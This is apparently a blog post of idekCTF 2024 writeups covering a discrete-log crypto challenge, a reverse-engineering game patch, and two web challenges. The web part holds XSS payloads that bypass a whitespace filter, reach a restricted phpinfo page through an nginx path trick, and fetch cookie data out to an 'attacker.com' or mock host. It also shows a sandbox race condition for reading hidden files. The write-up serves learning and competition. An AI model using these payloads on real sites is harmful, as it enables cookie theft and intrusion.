My idekCTF 2024 Writeups!
Intro
During the last couple of days, I’ve participated in idekCTF2024, which was a ton of fun, and had some very interesting challenges! This post contains my writeups for the challenges I solved :)
crypto/Golden Ticket
In this challenge, we are provided with a Python script, and its output:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from Crypto.Util.number import *
#Some magic from Willy Wonka
def chocolate_generator(m:int) -> int:
p = 396430433566694153228963024068183195900644000015629930982017434859080008533624204265038366113052353086248115602503012179807206251960510130759852727353283868788493357310003786807
return (pow(13, m, p) + pow(37, m, p)) % p
#The golden ticket is hiding inside chocolate
flag = b"idek{REDACTED}"
golden_ticket = bytes_to_long(flag)
flag_chocolate = chocolate_generator(golden_ticket)
chocolate_bag = []
#Willy Wonka is making chocolates
for i in range(golden_ticket):
chocolate_bag.append(chocolate_generator(i))
#And he put the golden ticket at the end
chocolate_bag.append(flag_chocolate)
#Augustus ate lots of chocolates, but he can't eat all cuz he is full now :D
remain = chocolate_bag[-2:]
#Can you help Charles get the golden ticket?
print(remain)
#[88952575866827947965983024351948428571644045481852955585307229868427303211803239917835211249629755846575548754617810635567272526061976590304647326424871380247801316189016325247, 67077340815509559968966395605991498895734870241569147039932716484176494534953008553337442440573747593113271897771706973941604973691227887232994456813209749283078720189994152242]
Stripping away all the fluff (e.g. appending numbers to chocolate_bag
and then only keeping the last 2), the code defines a function chocolate_generator
, which takes in a message m
, and applies the following mapping: \
Where p
is a prime: \
1
2
$ openssl prime 396430433566694153228963024068183195900644000015629930982017434859080008533624204265038366113052353086248115602503012179807206251960510130759852727353283868788493357310003786807
642D664112A685CC2816EDDC7608A5EB8F4294010955CBA2C47DDD3E19BDF5C65746D0448B8ABE40C5D4153E2E244AD65C71DFD588BF98C7E03DF2D3435B5504EE2D3CE1362C36E3437 (396430433566694153228963024068183195900644000015629930982017434859080008533624204265038366113052353086248115602503012179807206251960510130759852727353283868788493357310003786807) is prime
The code then converts the flag (which we want to find) to a long, which we’ll call m
for message, applies the mapping on the messages m - 1 and m, and gives us the results (in the comment at the end of the code). In other words, we are given the following two ciphertexts, and we seek to derive m from them:
First, we can remove the inner moduli, since they don’t change the result, and will make our algebra more messy. In the code, they’re only present since they make the exponentiation much (much) faster. Doing this, we get: \
Much nicer already, no? :) At this point, I tried playing with (6) and (7) in order to isolate one of the terms (e.g. 13 to the power of m), instead of their sum. The rationale behind this being that given something of the form x^y mod p, we can solve a DLP, and recover y.
After some time trying various transformations that did not work, I tried the following manipulation: \
Now we’re getting somewhere! Observe that if we multiply the result of this transformation by the multiplicative inverse of 24 (modulo p), we get 37^{m - 1}, which is exactly what we need for DLP. After we solve the DLP, we’ll have m - 1 in our hands, and we can then add 1 to get m, and convert the long to a string to get the flag.
Here’s the code to apply this transformation to the values from the challenge script: \
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from Crypto.Util.number import *
p = 396430433566694153228963024068183195900644000015629930982017434859080008533624204265038366113052353086248115602503012179807206251960510130759852727353283868788493357310003786807
def egcd(a, b):
if a == 0:
return (b, 0, 1)
g, y, x = egcd(b%a,a)
return (g, x - (b//a) * y, y)
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('No modular inverse')
return x%m
# Throughout this script, m denotes the long corresponding to the flag
# we want to find m
# chocolate_generator(m - 1)
y = 88952575866827947965983024351948428571644045481852955585307229868427303211803239917835211249629755846575548754617810635567272526061976590304647326424871380247801316189016325247
# chocolate_generator(m)
x = 67077340815509559968966395605991498895734870241569147039932716484176494534953008553337442440573747593113271897771706973941604973691227887232994456813209749283078720189994152242
# Observe that x - y * 13 = pow(37, m - 1, p) * 24
w = (x - ((y * 13) % p)) % p
# Multiply by the multiplicative inverse of 24 to get pow(37, m - 1, p)
z = (w * modinv(24, p)) % p
print("[RESULT] pow(37, m - 1, p) = {}".format(z))
I copied the code for finding the multiplicative inverse off of here. The code prints the following value for z: \
1
[RESULT] pow(37, m - 1, p) = 202381264918631605618568018335558744415584261633830403715050010461700903366078081399877299495465509078389703005220222975361464829762216007277932088482880826578710915390951613589
Now, we can solve the DLP using SageMath (sorry for the lack of syntax highlighting, the static site generator I’m using doesn’t support it :) ): \
1
2
3
4
5
6
7
sage: R = Integers(3964304335666941532289630240681831959006440000156299309820174348590800085336242042650383661130523530862481156025030121798072062519605101307
....: 59852727353283868788493357310003786807)
sage: a = R(37)
sage: b = R(20238126491863160561856801833555874441558426163383040371505001046170090336607808139987729949546550907838970300522022297536146482976221600727793208
....: 8482880826578710915390951613589)
sage: b.log(a)
57629776445896163024735745086814515288454966100802334039751672315837361336412607584713634047210889596
Let’s plug this value into our solution script, and get the flag! \
1
2
3
4
5
6
7
8
# Now we have pow(37, m - 1, p). This is just a standard DLP, and can be solved
# through the use of Sage
print("[RESULT] pow(37, m - 1, p) = {}".format(z))
# Sage result
m_dec = 57629776445896163024735745086814515288454966100802334039751672315837361336412607584713634047210889596
m = m_dec + 1
print("Flag: {}".format(long_to_bytes(m)))
Which prints: \
1
Flag: b'idek{charles_and_the_chocolate_factory!!!}'
Great! Overall, a very nice challenge.
Web/Hello
This challenge is the most difficult one I solved, but I also learned a lot from it. We are given two PHP files:
index.php:
1 2 3 4 5 6 7 8 9 10 11 12
<?php function Enhanced_Trim($inp) { $trimmed = array("\r", "\n", "\t", "/", " "); return str_replace($trimmed, "", $inp); } if(isset($_GET['name'])) { $name=substr($_GET['name'],0,23); echo "Hello, ".Enhanced_Trim($_GET['name']); } ?>
And info.php:
1 2 3
<?php phpinfo(); ?>
We are also given code for an admin node.js bot (note that the flag is located in the FLAG cookie, so we’ll need to exflitrate it somehow):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
/*
script revamped from corctf
this does not match the remote setup exactly, which uses the redpwn admin bot
this is just to facilitate local testing
npm i puppeteer
*/
let puppeteer;
const { parseArgs } = require("util");
const options = {
CHALLENGE_ORIGIN: {
type: "string",
short: "c",
default: "http://localhost:1337"
}
};
let {
values: { CHALLENGE_ORIGIN },
positionals: [ TARGET_URL ]
} = parseArgs({ args: process.argv.slice(2), options, strict: false });
if (!TARGET_URL) {
console.error(`\
Usage: node bot.js [-c CHALLENGE_ORIGIN] TARGET_URL
Arguments:
TARGET_URL: the url that the admin bot will visit
Options:
CHALLENGE_ORIGIN: the origin where the challenge instance is hosted
(default is http://localhost:1337)
`);
process.exit(1);
}
puppeteer = require("puppeteer");
const sleep = d => new Promise(r => setTimeout(r, d));
const visit = async () => {
let browser;
try {
browser = await puppeteer.launch({
headless: true,
pipe: true,
args: [
"--no-sandbox",
"--disable-setuid-sandbox",
"--js-flags=--noexpose_wasm,--jitless",
],
dumpio: true
});
const ctx = await browser.createBrowserContext();
console.log(CHALLENGE_ORIGIN);
const page = await ctx.newPage();
await page.goto(CHALLENGE_ORIGIN, { timeout: 3000 });
await page.setCookie({ name: 'FLAG', value: 'idek{PLACEHOLDER}', httpOnly: true });
await page.goto(TARGET_URL, { timeout: 3000, waitUntil: 'domcontentloaded' });
await sleep(5000);
await browser.close();
browser = null;
} catch (err) {
console.log(err);
} finally {
if (browser) await browser.close();
}
};
visit();
And an nginx config file for the server:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
user www-data;
worker_processes 1;
events {
worker_connections 1024;
}
http {
include /etc/nginx/mime.types;
default_type application/octet-stream;
sendfile on;
keepalive_timeout 65;
server {
listen 80;
server_name localhost;
location / {
root /usr/share/nginx/html;
index index.php index.html index.htm;
}
location = /info.php {
allow 127.0.0.1;
deny all;
}
location ~ \.php$ {
root /usr/share/nginx/html;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
fastcgi_pass unix:/var/run/php/php8.2-fpm.sock;
}
}
}
The index.php
file takes in the name
GET parameter, applies some basic sanitization on it using Enhanced_Trim
, and echoes it:
1
2
3
4
5
6
7
<?php
if(isset($_GET['name']))
{
$name=substr($_GET['name'],0,23);
echo "Hello, ".Enhanced_Trim($_GET['name']);
}
?>
The substr
applied at the beginning doesn’t actually change the GET parameter, all it does is create a new local variable $name
. The Enhanced_Trim
function removes the following characters from its input:
- Carriage returns
- Newlines
- Tabs
- Forward slashes
- Spaces The less-than and greater-than signs are not stripped, which allows us to create new HTML tags. For example, if we visit the path
/?name=<img>
, we get the following HTML:
1
<html><head></head><body>Hello, <img></body></html>
Great! Now, we need to find a way to execute JS. Remember that we can’t use common whitespace characters, so we can’t inject something like <img src=q onerror=alert(123)>
. A quick Google search led me to this StackExchange post, whose answers mention that we can use the form feed (hex 0x0c) instead of a whitespace as such:
1
<svg%0conload=alert(123)>
Let’s try this by going to the URL /?name=<svg%0conload=alert(123)>
:
Nice! We got an alert pop-up. From here on, the road to getting the flag should be pretty simple; we just need to change this into something that exfiltrates cookies (since the flag is located in the FLAG cookie of the admin bot). One of the most common methods, and the one we’ll go about doing this, is fetch()
ing the attacker’s website, and sending the cookie in the URL parameter, as follows:
1
fetch(`http://attacker.com/cookies=${document.cookie}`)
But remember that we don’t have forward slashes, so we need to find a way to get some in order to specify the http://
prefix. The way I chose to do this was to take the prefix of the window.location.href
DOM property. This DOM property contains the location of the current window; for example if we were to go to http://example.com
and inspect this property, we’ll see:
Specifically note the http://
prefix. If we apply the substring
method on this, we’ll get the string http://
(to get this, we run window.location.href.substring(0, 7)
). We can do a similar thing (window.location.href.substring(5, 6)
) to get the forward slash character. Armed with this prefix, we can construct our payload:
1
2
http://idek-hello.chal.idek.team:1337/?name=
<svg%0Conload=window.location=(window.location.href.substring(0, 7)%2b"attacker.com"%2bwindow.location.href.substring(5,6)%2b"cookies"%2bwindow.location.href.substring(5,6)%2bdocument.cookie)>
Note that %2b
is the URL encoding for the plus character. Okay, we should be set! Let’s send the bot this payload:
And let’s examine the logs:
What?! We didn’t get anything?! At first I tried this a few more times to see whether this had been a one-time thing, but I always got an empty request. At this point I got really stuck, and took a break from the challenge :) When I returned to the challenge, I finally found the issue. Let’s inspect the bot’s code again, specifically the part where it sets the FLAG
cookie:
1
2
3
await page.goto(CHALLENGE_ORIGIN, { timeout: 3000 });
await page.setCookie({ name: 'FLAG', value: 'idek{PLACEHOLDER}', httpOnly: true });
await page.goto(TARGET_URL, { timeout: 3000, waitUntil: 'domcontentloaded' });
Huh! So the FLAG
cookie has the HttpOnly
flag set! Quoting from the MDN page on cookies: “A cookie with the HttpOnly
attribute can’t be modified by JavaScript, for example using Document.cookie
; it can only be modified when it reaches the server. Cookies that persist user sessions for example should have the HttpOnly
attribute set — it would be really insecure to make them available to JavaScript. This precaution helps mitigate cross-site scripting (XSS) attacks.” Oh… so that’s why document.cookie returns an empty string… If so, we need to find an alternative way to get the cookies of the bot. After some time, it hit me: surely there’s some reason the info.php
page exists. Indeed, the phpinfo()
function returns the cookies of the user! There’s only a slight problem: let’s look at the relevant lines for controlling access to /info.php
on the nginx config:
1
2
3
4
location = /info.php {
allow 127.0.0.1;
deny all;
}
Hmm… so we can’t access it directly from the outside world. A quick Google search for nginx bypasses led me to the fact that accessing /info.php/index.php
returns the same info as info /info.php
. Let’s try it going to http://idek-hello.chal.idek.team:1337/info.php/index.php
:
Nice! This page contains the cookies of the user who visits it, which leads us to the complete exploit (all of the actions are from the POV of the bot):
- Send a request to
http://idek-hello.chal.idek.team:1337/info.php/index.php
- Parse the cookies from the page
- Send them to the attacker Now let’s construct the payload. We start from step 1:
1
<svg%0Conload=fetch(window.location.href.substring(0, 7)%2b"idek-hello.chal.idek.team:1337"%2bwindow.location.href.substring(5,6)%2b"info.php"%2bwindow.location.href.substring(5,6)%2b"index.php")>
The fetch()
call returns us a promise with the Response of the /info.php/index.php
page. Let’s start by getting the text:
1
.then(function(response){response.text()
Cool. The text()
function returns a promise with the text of the page as a string. Let’s split the text into lines:
1
.then(function(txt){txt.split(`\n`)
For each line, we want to send it to the attacker if it contains the flag. We’ll accomplish this by calling forEach
on the lines:
1
.forEach(function(line){if(line.indexOf("FLAG")!=-1){fetch(window.location.href.substring(0, 7)%2b"attacker.com"%2bwindow.location.href.substring(5,6)%2b"cookies?resp="%2bline
Seems a bit scary, but all it does is check whether the string FLAG
appears in the current line. If it does, it calls fetch
with attacker.com/cookies?resp=
and then the line. Here’s the complete JS part of the payload in all its glory (I also changed the %2b’s to pluses):
1
2
3
4
5
6
7
8
fetch(window.location.href.substring(0, 7) + "idek-hello.chal.idek.team:1337" + bwindow.location.href.substring(5,6) + "info.php" + window.location.href.substring(5,6) + "index.php").then(function(response) {
response.text().then(function(txt) {
txt.split(`\n`).forEach(function(line) {
if(line.indexOf("FLAG")!=-1) {
fetch(window.location.href.substring(0, 7) + "mymockserver123456.free.beeceptor.com" + window.location.href.substring(5,6) + "cookies?resp=" + line)}
})
})
})
Or in the final form we’ll send to the bot:
1
http://idek-hello.chal.idek.team:1337/?name=<svg%0Conload=fetch(window.location.href.substring(0, 7)%2b"idek-hello.chal.idek.team:1337"%2bwindow.location.href.substring(5,6)%2b"info.php"%2bwindow.location.href.substring(5,6)%2b"index.php").then(function(response){response.text().then(function(txt){txt.split(`\n`).forEach(function(line){if(line.indexOf("FLAG")!=-1){fetch(window.location.href.substring(0, 7)%2b"mymockserver123456.free.beeceptor.com"%2bwindow.location.href.substring(5,6)%2b"cookies?resp="%2bline)}})})})>
Let’s try this:
Woohoo! We go the flag! This challenge was definitely on the harder side, but I learned a lot from it, and it was very fun.
rev/Game
This challenge is also pretty cool. We are given a Windows exectuable of a game, which is presumably a modification of a C++ version of the Chrome T-Rex game:
The description of the challenge says that we get the flag if we reach a high enough score. At first, I tried, to no avail, to solve this task using Cheat Engine. I did find the locations in memory for the score and the high score, and modified them, but this didn’t give me the flag, so I resorted to patching the game instead. Since the original, unmodified game is open-source, finding the score-related functions in the executable becomes easier. Our score changes when the dinosaur moves, so let’s look at the function that is responsible for handling the movement of the dino (in the C++ source of the unmodified game):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
auto MainStage::UpdateRunning(const double dt) -> void {
if (speed_ < kMaxSpeed) {
speed_ += 0.001;
}
running_time_ += dt;
trex_.Update(dt);
if (clip_frame_->width < kWindowWidth) {
// intro transition, expand view
auto rate = static_cast<double>(kWindowWidth) / kIntroDuration * dt * 2;
clip_frame_->width += static_cast<int>(rate);
} else {
horizon_.UpdateWithSpeed(dt, speed_);
clouds_.UpdateWithSpeed(dt, speed_);
score_.UpdateWithSpeed(dt, speed_);
}
if (running_time_ > kClearTime) {
obstacles_.UpdateWithSpeed(dt, speed_);
if (trex_.HasCollision(obstacles_)) {
Events::GetInstance()->Publish("on_play_sound", "hit");
trex_.Crash();
trex_.Update(dt);
score_.UpdateHighScore();
AddEntity(&restart_);
state_ = RunnerState::GameOver;
}
}
}
Note that the speed of the dino gets incremented every time this function is called. If we change the instruction that increments the speed to an instruction that zeros the speed, we will still accumulate points, but won’t have to do anything, since the dinosaur doesn’t move, and therefore doesn’t encounter any obstacles. Finding this function is relatively simple, since we can just search for the floating-point value 0.001, whose hex value is 0x3f50624dd2f1a9fc in IDA:
We find one definition of this value in the .rdata section:
The only XREF to this QWORD is in the following function:
This does look much like the MainStage::UpdateRunning
function! First the current speed is compared with qword:14014F3B8
, which contains kMaxSpeed
, and then if the current speed is below the max speed, we addsd
the 0.001
value to xmm2
(which contains the current speed), and movsd
the new value to the value of the speed [rcx + 30h]
. Let’s do some patching! We’ll change the addsd
instruction to a pxor xmm2, xmm2
(to zero xmm2
), and then put NOPs in the remaining bytes (I used this assembler for computing the opcodes of pxor xmm2, xmm2
). Here’s what the result looks like:
Let’s try this:
Hmm… the speed doesn’t change, but unfortunately the score also doesn’t change. We probably did something wrong then. Let’s look at the method that actually modifies the score, Score::UpdateWithSpeed
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
auto Score::UpdateWithSpeed(const double dt, const double speed) -> void {
distance_ += speed * (kFPS / 1000) * dt;
sprites_.clear();
auto score = GetScore();
if (achievement_.has_achievement) {
score = achievement_.last_achievement;
ScoreFlashing(dt);
} else if (score > 0 && score % kAchievementDistance == 0) {
Events::GetInstance()->Publish("on_play_sound", "achievement");
achievement_.has_achievement = true;
achievement_.flash_iterations = kFlashIterations;
achievement_.last_achievement = score;
}
auto offset = 0.0;
auto alpha = should_show_score_ ? 255 : 0;
offset = DrawScore(score, kWindowWidth, alpha);
if (high_score_ > 0) {
offset = DrawScore(high_score_, offset, kHighScoreAlpha);
DrawCharacter('i', offset - kCharOffset * 2, kHighScoreAlpha);
DrawCharacter('h', offset - kCharOffset * 3, kHighScoreAlpha);
}
}
Oh, so that’s why the score stays at zero. The first line adds ` speed * (kFPS / 1000) * dt to our current distance (which changes the score), and our speed is 0, so the distance doesn't change (since multiplying by zero gives zero). To fix this problem, let's find this function in IDA and look at the disassmebly. Remember that in
MainStage::UpdateRunning, the
Score::UpdateWithSpeed` method is called in the following context:
1
2
3
4
5
6
7
8
9
if (clip_frame_->width < kWindowWidth) {
// intro transition, expand view
auto rate = static_cast<double>(kWindowWidth) / kIntroDuration * dt * 2;
clip_frame_->width += static_cast<int>(rate);
} else {
horizon_.UpdateWithSpeed(dt, speed_);
clouds_.UpdateWithSpeed(dt, speed_);
score_.UpdateWithSpeed(dt, speed_);
}
So we’re looking for a branch, and then 3 sequential calls. The score function is that third one. Indeed, we find a block that satisfies this condition in the disassembly for MainStage::UpdateRunning
(I renamed the function to `Score__UpdateWithSpeed):
Great. Let’s go to the disassembly of UpdateWithSpeed
now:
Notice, in particular, the two multiplications:
1
2
mulsd xmm2, cs:qword:14014ECC0
mulsd xmm2, xmm1
The speed is passed in xmm1
, which is zero because our patch, so we want the mulsd xmm2, xmm1
instruction to not happen. Instead of NOPing, I just changed mulsd xmm2, xmm1
to addsd xmm2, xmm6
, since xmm6
contains a nonzero value, and xmm2
contains the new distance (since we have the movsd qword ptr [rcx+30h], xmm2
instruction). Here’s the code with the patch:
Awesome! Let’s test:
Yay! Our score goes up without doing anything. At this point, all we need to do is let the patched game run long enough (~5 min), and we get the flag:
This challenge is also really fun :) Note that there’s probably a simpler way to solve this challenge (e.g. changing the score multiplier so that the score changes much faster), but this method also works
Web/Crator
In this challenge, we get a Flask-based Competitive Programming web application:
And its code, which resides in the following files:
1
2
3
app.py
db.py
sandbox.py
The app also uses a SQLIte database, which is located in the file db.sqlite
. Let’s start by figuring out where the flag is located: I just grepped for FLAG
, and got the following code in db.py
:
1
2
3
4
5
6
7
8
9
10
engine = create_engine('sqlite:///db.sqlite')
Base.metadata.create_all(engine)
with Session(engine) as db:
flag = os.environ.get("FLAG")
if flag:
flag_case = db.scalar(select(ProblemTestCase).filter_by(problem_id="helloinput", hidden=True))
# flag_case.input = flag
flag_case.output = flag + "\n"
db.commit()
From a brief look at this code, it seems like we write a test case for the problem helloinput
to the DB, whose output is the flag (which is located in the envvar FLAG). Let’s confirm our hypothesis by looking at the tables in db.sqlite
:
1
2
3
sqlite> .tables
problem_test_cases submission_outputs users
problems submissions
And checking the schema for problem_test_cases
:
1
2
3
4
5
6
7
8
9
CREATE TABLE IF NOT EXISTS "problem_test_cases" (
"id" INTEGER NOT NULL,
"problem_id" VARCHAR,
"input" VARCHAR,
"output" VARCHAR,
"hidden" INTEGER,
FOREIGN KEY("problem_id") REFERENCES "problems"("id"),
PRIMARY KEY("id")
);
Nice; now we know what our goal is: reading the output of the testcase for helloinput
. Let’s navigate to that problem in the app:
Let’s submit the code they give us:
And check the results:
Our submission is run on two test cases, the first of which we can see the output of, but the flag is hidden! Let’s dig into the code. The website includes some login/register functionality, but it isn’t very relevant to the challenge. The most important part is how our code runs, and more specifically how the output of the code is compared against the expected outputs (the following function is in app.py
):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
@app.route('/submit/<problem_id>', methods=['GET', 'POST'])
@login_required
def submit(problem_id):
with Session(engine) as db:
# Select problem
problem = db.scalar(select(Problem).filter_by(id=problem_id))
if not problem:
abort(404)
if request.method == 'GET':
return render_template('submit.html', problem=problem)
# Get testcases, code, sandbox
testcases = db.scalars(select(ProblemTestCase).filter_by(problem_id=problem_id)).all()
code = request.form['code']
if len(code) > 32768:
return abort(400)
with open('sandbox.py', 'r') as f:
sandbox = f.read()
# Create submission
submission = Submission(problem_id=problem_id, user_id=session['user_id'], code=code, status='Pending')
db.add(submission)
db.commit()
submission_id = submission.id
# Prepare code
shutil.copy('sandbox.py', f'/tmp/sandbox.py')
with open(f'/tmp/{submission_id}.py', 'w') as f:
f.write(f'__import__("sandbox").Sandbox("{submission_id}")\n' + code.replace('\r\n', '\n'))
# Run testcases
skip_remaining_cases = False
for testcase in testcases:
# Set testcase staus
submission_case = SubmissionOutput(submission_id=submission_id, testcase_id=testcase.id, status='Pending')
db.add(submission_case)
if skip_remaining_cases:
submission_case.status = 'Skipped'
db.commit()
continue
if not testcase.hidden:
submission_case.expected_output = testcase.output
# Set up input and output files
with open(f'/tmp/{submission_id}.in', 'w') as f:
f.write(testcase.input.replace('\r\n', '\n'))
with open(f'/tmp/{submission_id}.expected', 'w') as f:
f.write(testcase.output.replace('\r\n', '\n'))
# Run code
try:
proc = subprocess.run(f'sudo -u nobody -g nogroup python3 /tmp/{submission_id}.py < /tmp/{submission_id}.in > /tmp/{submission_id}.out', shell=True, timeout=1)
if proc.returncode != 0:
submission.status = 'Runtime Error'
skip_remaining_cases = True
submission_case.status = 'Runtime Error'
else:
diff = subprocess.run(f'diff /tmp/{submission_id}.out /tmp/{submission_id}.expected', shell=True, capture_output=True)
if diff.stdout:
submission.status = 'Wrong Answer'
skip_remaining_cases = True
submission_case.status = 'Wrong Answer'
else:
submission_case.status = 'Accepted'
except subprocess.TimeoutExpired:
submission.status = 'Time Limit Exceeded'
skip_remaining_cases = True
submission_case.status = 'Time Limit Exceeded'
# Cleanup
with open(f'/tmp/{submission_id}.out', 'r') as f:
submission_case.actual_output = f.read(1024)
db.commit()
__cleanup_test_case(submission_id)
# Set overall status
if submission.status == 'Pending':
submission.status = 'Accepted'
db.commit()
os.remove(f'/tmp/{submission_id}.py')
return redirect(f'/submission/{submission_id}')
The important parts of the code are as follows:
- Write our submission to the
submissions
table in the DB - Get the testcases from the
problem_test_cases
table in the DB - Read the
sandbox.py
file and copy it to/tmp/sandbox.py
(we’ll go into detail about this file later) - Write our (sandboxed) submission code to
/tmp/<submission id>.py
- Iterate over each testcase, and for each one, write the input and expected output into
/tmp/<submission id>.in
and/tmp/<submission id>.expected
respectively - Run our code as
nobody
and diff the results - Delete the leftover files Note that the output of each test case is written to a file! If we can manage to read that file (i.e.
/tmp/<submission id>.expected
), we can get the flag! To see if we can do that, let’s look at the sandboxing code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
builtins_whitelist = set(
(
"RuntimeError",
"Exception",
"KeyboardInterrupt",
"False",
"None",
"True",
"bytearray",
"bytes",
"dict",
"float",
"int",
"list",
"object",
"set",
"str",
"tuple",
"abs",
"all",
"any",
"apply",
"bin",
"bool",
"buffer",
"callable",
"chr",
"classmethod",
"cmp",
"coerce",
"compile",
"delattr",
"dir",
"divmod",
"enumerate",
"filter",
"format",
"hasattr",
"hash",
"hex",
"id",
"input",
"isinstance",
"issubclass",
"iter",
"len",
"map",
"max",
"min",
"next",
"oct",
"open",
"ord",
"pow",
"print",
"property",
"range",
"reduce",
"repr",
"reversed",
"round",
"setattr",
"slice",
"sorted",
"staticmethod",
"sum",
"super",
"unichr",
"xrange",
"zip",
"len",
"sort",
)
)
class ReadOnlyBuiltins(dict):
def clear(self):
raise RuntimeError("Nein")
def __delitem__(self, key):
raise RuntimeError("Nein")
def pop(self, key, default=None):
raise RuntimeError("Nein")
def popitem(self):
raise RuntimeError("Nein")
def setdefault(self, key, value):
raise RuntimeError("Nein")
def __setitem__(self, key, value):
raise RuntimeError("Nein")
def update(self, dict, **kw):
raise RuntimeError("Nein")
def _safe_open(open, submission_id):
def safe_open(file, mode="r"):
if mode != "r":
raise RuntimeError("Nein")
file = str(file)
if file.endswith(submission_id + ".expected"):
raise RuntimeError("Nein")
return open(file, "r")
return safe_open
class Sandbox(object):
def __init__(self, submission_id):
import sys
from ctypes import pythonapi, POINTER, py_object
_get_dict = pythonapi._PyObject_GetDictPtr
_get_dict.restype = POINTER(py_object)
_get_dict.argtypes = [py_object]
del pythonapi, POINTER, py_object
def dictionary_of(ob):
dptr = _get_dict(ob)
return dptr.contents.value
type_dict = dictionary_of(type)
del type_dict["__bases__"]
del type_dict["__subclasses__"]
original_builtins = sys.modules["__main__"].__dict__["__builtins__"].__dict__
original_builtins["open"] = _safe_open(open, submission_id)
for builtin in list(original_builtins):
if builtin not in builtins_whitelist:
del sys.modules["__main__"].__dict__["__builtins__"].__dict__[builtin]
safe_builtins = ReadOnlyBuiltins(original_builtins)
sys.modules["__main__"].__dict__["__builtins__"] = safe_builtins
if hasattr(sys.modules["__main__"], "__file__"):
del sys.modules["__main__"].__file__
if hasattr(sys.modules["__main__"], "__loader__"):
del sys.modules["__main__"].__loader__
for key in [
"__loader__",
"__spec__",
"origin",
"__file__",
"__cached__",
"ReadOnlyBuiltins",
"Sandbox",
]:
if key in sys.modules["__main__"].__dict__["__builtins__"]["open"].__globals__:
del sys.modules["__main__"].__dict__["__builtins__"]["open"].__globals__[key]
This is pretty standard Python sandboxing code. It disallows imports, restricts builtins, etc. I tried executing commands with it, but that didn’t work. After some sifting through the code, I noticed this part:
1
2
3
4
5
6
7
8
9
10
11
12
def _safe_open(open, submission_id):
def safe_open(file, mode="r"):
if mode != "r":
raise RuntimeError("Nein")
file = str(file)
if file.endswith(submission_id + ".expected"):
raise RuntimeError("Nein")
return open(file, "r")
return safe_open
original_builtins["open"] = _safe_open(open, submission_id)
Great! So we have access to open
, and can read arbitrary files! But how can we read the expected output? After all, the files are deleted after the submission is done executing… To bypass this, we will use a race condition! Consider the following sequence of actions:
- Start submission A, which does the following:
- If the input of A is “Welcome to Crator” (the first test case), prints “Welcome to Crator”
- Otherwise (the input whose expected value is the flag), enter an infinite loop so that the
.expected
file doesn’t get deleted (the code does terminate after 1s, but this is plenty of time) - At the same time, start submission B, which reads the
.expected
file, and prints its contents One picture is worth a thousand words:
The code we’ll use for Submission A is:
1
2
3
4
5
if input() == "Welcome to Crator":
print("Welcome to Crator")
else:
while True:
pass
And the code for Submission B is:
1
print(open("/tmp/1.expected").read())
Let’s run them both at the same time, and look at the result for Submission B:
Also a very fun challenge!
Summary
Playing this CTF was very fun, and I learned a lot from it. Thanks to the CTF organizers for the challenges, and thank you for reading!